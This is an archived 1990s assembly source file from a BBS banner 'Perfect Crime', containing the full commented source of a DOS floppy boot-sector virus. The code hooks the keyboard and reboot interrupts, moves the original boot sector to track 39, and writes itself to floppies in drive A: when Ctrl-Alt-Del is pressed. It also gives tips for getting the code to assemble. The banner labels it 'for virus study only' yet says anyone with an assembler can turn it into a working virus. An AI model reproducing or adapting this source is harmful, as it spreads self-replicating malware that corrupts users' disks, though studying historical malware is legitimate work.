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Assembly Source File | 1998-01-14 | 21.1 KB | 432 lines

;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************; ;-----------------------------------------------------------------------; ; This virus is of the ?FLOPPY ONLY? variety. ; ; It replicates to the boot sector of a floppy disk and when it gains control ; it will move itself to upper memory. It redirects the keyboard ; ; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ; ; it will attempt to infect any floppy it finds in drive A:. ; ; It keeps the real boot sector at track 39, sector 8, head 0 ; ; It does not map this sector bad in the fat (unlike the Pakistani Brain) ; and should that area be used by a file, the virus ; ; will die. It also contains no anti detection mechanisms as does the ; ; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ; ; sector 9 because this is common to all floppy formats both single ; ; sided and double sided. It does not contain any malevolent TROJAN ; ; HORSE code. It does appear to contain a count of how many times it ; ; has infected other diskettes although this is harmless and the count ; ; is never accessed. ; ; ; ; Things to note about this virus: ; ; It can not only live through an ALT-CTRL-DEL reboot command, but this ; ; is its primary (only for that matter) means of reproduction to other ; ; floppy diskettes. The only way to remove it from an infected system ; ; is to turn the machine off and reboot an uninfected copy of DOS. ; ; It is even resident when no floppy is booted but BASIC is loaded ; ; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ; ; it activates and infectes the floppy from which the user is ; ; attempting to boot. ; ; ; ; Also note that because of the POP CS command to pass control to ; ; its self in upper memory, this virus does not to work on 80286 ; ; machines (because this is not a valid 80286 instruction). ; ; ; ; If your assembler will not allow the POP CS command to execute, replace; ; the POP CS command with an NOP and then assemble it, then debug that ; ; part of the code and place POP CS in place of NOP at that section. ; ; ; ; The Norton Utilities can be used to identify infected diskettes by ; ; looking at the boot sector and the DOS SYS utility can be used to ; ; remove it (unlike the Pakistani Brain). ; ;-----------------------------------------------------------------------; ; ORG 7C00H ; ; TOS LABEL WORD ;TOP OF STACK ;-----------------------------------------------------------------------; ; 1. Find top of memory and copy ourself up there. (keeping same offset); ; 2. Save a copy of the first 32 interrupt vectors to top of memory too ; ; 3. Redirect int 9 (keyboard) to ourself in top of memory ; ; 4. Jump to ourself at top of memory ; ; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ; ;-----------------------------------------------------------------------; BEGIN: CLI ;INITIALIZE STACK XOR AX,AX ; MOV SS,AX ; MOV SP,offset TOS ; STI ; ; MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512) MOV DS,BX ; MOV AX,[0013H] ; MUL BX ; SUB AX,07E0H ; (7C00H+512)/16 MOV ES,AX ; ; PUSH CS ;DS = CS POP DS ; ; CMP DI,3456H ;IF THE VIRUS IS REBOOTING... JNE B_10 ; DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1-- ; B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY MOV DI,SI ; MOV CX,512 ; CLD ; REP MOVSB ; ; MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE MOV CX,128 ; REP MOVSB ; ; CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) ; PUSH ES ;ES=HI ; JUMP TO OUR HI CODE WITH POP CS ; PUSH DS ;DS=0 ; ES = DS POP ES ; ; MOV BX,SP ; SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 MOV DX,CX ;CX=0 ;DRIVE A: HEAD 0 MOV CX,2708H ; TRACK 40, SECTOR 8 MOV AX,0201H ; READ SECTOR INT 13H ; (common to 8/9 sect. 1/2 sided!) JB $ ; HANG IF ERROR ; JMP JMP_BOOT ;JMP 0000:7C00 ; ;-----------------------------------------------------------------------; ; SAVE THEN REDIRECT INT 9 VECTOR ; ; ; ; ON ENTRY: DS = 0 ; ; ES = WHERE TO SAVE OLD_09 & (HI) ; ; WHERE NEW_09 IS (HI) ; ;-----------------------------------------------------------------------; PUT_NEW_09: ; DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 ; MOV SI,9*4 ;COPY INT 9 VECTOR TO MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) MOV CX,0004 ; ; CLI ; REP MOVSB ; MOV Word Ptr [9*4],offset NEW_09 MOV [(9*4)+2],ES ; STI ; ; RET ; ; ;-----------------------------------------------------------------------; ; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; ;-----------------------------------------------------------------------; ACK_KEYBD: ; IN AL,61H ;RESET KEYBOARD THEN CONTINUE MOV AH,AL ; OR AL,80H ; OUT 61H,AL ; XCHG AL,AH ; OUT 61H,AL ; JMP RBOOT ; ; ;-----------------------------------------------------------------------; ; DATA AREA WHICH IS NOT USED IN THIS VERSION ; ; REASON UNKNOWN ; ;-----------------------------------------------------------------------; TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 DB 27H,0,2,2 ; (CURRENTLY NOT USED) DB 27H,0,3,2 ; DB 27H,0,4,2 ; DB 27H,0,5,2 ; DB 27H,0,6,2 ; DB 27H,0,7,2 ; DB 27H,0,8,2 ; ; ;A7C9A LABEL BYTE ; DW 00024H ;NOT USED DB 0ADH ; DB 07CH ; DB 0A3H ; DW 00026H ; ; ;L7CA1: ; POP CX ;NOT USED POP DI ; POP SI ; POP ES ; POP DS ; POP AX ; POPF ; JMP 1111:1111 ; ; ;-----------------------------------------------------------------------; ; IF ALT & CTRL & DEL THEN ... ; ; IF ALT & CTRL & ? THEN ... ; ;-----------------------------------------------------------------------; NEW_09: PUSHF ; STI ; ; PUSH AX ; PUSH BX ; PUSH DS ; ; PUSH CS ;DS=CS POP DS ; ; MOV BX,[ALT_CTRL W] ;BX=SCAN CODE LAST TIME IN AL,60H ;GET SCAN CODE MOV AH,AL ;SAVE IN AH AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH ; CMP AL,1DH ;IS IT A [CTRL]... JNE N09_10 ;...JUMP IF NO MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) JMP N09_30 ; ; N09_10: CMP AL,38H ;IS IT AN [ALT]... JNE N09_20 ;...JUMP IF NO MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) JMP N09_30 ; ; N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... JNE N09_30 ;...JUMP IF NO ; CMP AL,17H ;IF [I]... JE N09_X0 ;...JUMP IF YES CMP AL,53H ;IF [DEL]... JE ACK_KEYBD ;...JUMP IF YES ; N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME ; N09_90: POP DS ; POP BX ; POP AX ; POPF ; ; DB 0EAH ;JMP F000:E987 OLD_09 DW ? ; DW 0F000H ; ; N09_X0: JMP N09_X1 ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? MOV AX,0800H ;AL=0, AH=DELAY ARG OUT DX,AL ; CALL DELAY ; MOV [ALT_CTRL],AX ;AX=0 ; ; MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR INT 10H ; MOV AH,2 ;SET CURSOR POS 0,0 XOR DX,DX ; MOV BH,DH ; PAGE 0 INT 10H ; ; MOV AH,1 ;SET CURSOR TYPE MOV CX,0607H ; INT 10H ; ; MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) CALL DELAY ; ; CLI ; OUT 20H,AL ;SEND EOI TO INT CONTROLLER ; MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) MOV SI,offset BEGIN - 128 ; MOV CX,128 ; CLD ; REP MOVSB ; ; MOV DS,CX ;CX=0 ;DS=0 ; MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR MOV [(19H*4)+2],CS ; ; MOV AX,0040H ;DS = ROM DATA AREA MOV DS,AX ; ; MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) ; PUSH DS ;IF BIOS F000:E502 == 21E4... MOV AX,0F000H ; MOV DS,AX ; CMP Word Ptr [0E502H],21E4H ; POP DS ; JE R_90 ; INT 19H ; IF NOT...REBOOT ; R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! ; ;-----------------------------------------------------------------------; ; REBOOT INT VECTOR ; ;-----------------------------------------------------------------------; NEW_19: XOR AX,AX ; ; MOV DS,AX ;DS=0 MOV AX,[0410] ;AX=EQUIP FLAG TEST AL,1 ;IF FLOPPY DRIVES ... JNZ N19_20 ;...JUMP N19_10: PUSH CS ;ELSE ES=CS POP ES ; CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) INT 18H ;LOAD BASIC ; N19_20: MOV CX,0004 ;RETRY COUNT = 4 ; N19_22: PUSH CX ; MOV AH,00 ;RESET DISK INT 13 ; JB N19_81 ; MOV AX,0201 ;READ BOOT SECTOR PUSH DS ; POP ES ; MOV BX,offset BEGIN ; MOV CX,1 ;TRACK 0, SECTOR 1 INT 13H ; N19_81: POP CX ; JNB N19_90 ; LOOP N19_22 ; JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC ; ;-----------------------------------------------------------------------; ; Reinfection segment. ; ;-----------------------------------------------------------------------; N19_90: CMP DI,3456 ;IF NOT FLAG SET... JNZ RE_INFECT ;...RE INFECT ; JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR JMP 0000:7C00H ; ; ;-----------------------------------------------------------------------; ; Reinfection Segment. ; ;-----------------------------------------------------------------------; RE_INFECT: ; MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH MOV CX,00E6H ; OURSELF MOV DI,SI ; PUSH CS ; POP ES ; CLD ; REPE CMPSB ; JE RI_12 ;IF NOT EQUAL... ; INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) ; ;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; MOV BX,offset TABLE ;FORMAT INFO MOV DX,0000 ;DRIVE A: HEAD 0 MOV CH,40-1 ;TRACK 39 MOV AH,5 ;FORMAT JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! ; ; <<< NO EXECUTION PATH TO HERE >>> ; JB RI_80 ; ; ;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 MOV BX,offset BEGIN ;TRACK 40H MOV CL,8 ;SECTOR 8 MOV AX,0301H ;WRITE 1 SECTOR INT 13H ; ; PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) POP ES ; JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE ; MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! MOV AX,0301 ; INT 13H ; JB RI_80 ; IF ERROR...JUMP TO BOOT CODE ; RI_12: MOV DI,3456H ;SET ?JUST INFECTED ANOTHER ONE?... INT 19H ;...FLAG AND REBOOT ; RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) JMP JMP_BOOT ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS ; MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG MOV BX,0040H ; MOV DS,BX ; MOV [0072H],AX ; 0040:0072 = RESET FLAG JMP N09_90 ; ; ;-----------------------------------------------------------------------; ; DELAY ; ; ; ; ON ENTRY AH:CX = LOOP COUNT ; ;-----------------------------------------------------------------------; DELAY: SUB CX,CX ; D_01: LOOP $ ; SUB AH,1 ; JNZ D_01 ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; A7DF4 DB 27H,00H,8,2 COUNTER_1 DW 001CH ALT_CTRL DW 0 A7DFC DB 27H,0,8,2 ;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************;